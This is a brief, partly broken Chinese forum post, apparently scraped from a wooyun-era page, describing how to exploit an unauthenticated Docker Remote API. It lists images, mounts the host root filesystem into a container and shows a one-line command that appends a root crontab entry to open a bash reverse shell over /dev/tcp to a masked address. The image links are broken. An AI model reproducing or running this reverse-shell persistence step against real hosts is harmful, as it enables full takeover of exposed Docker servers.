Docker Remote API未授权访问漏洞测试方法

admin

列出可用的Image
[/url]
挂载宿主机的根目录到/mnt
[url=http://static.wooyun.org/upload/image/201605/2016051716324531199.png]
通过写crontab文件来反弹shell

1. echo "* * * * * root /bin/bash -i >& /dev/tcp/*/1024 0>&1" >> /mnt/etc/crontab
   

复制代码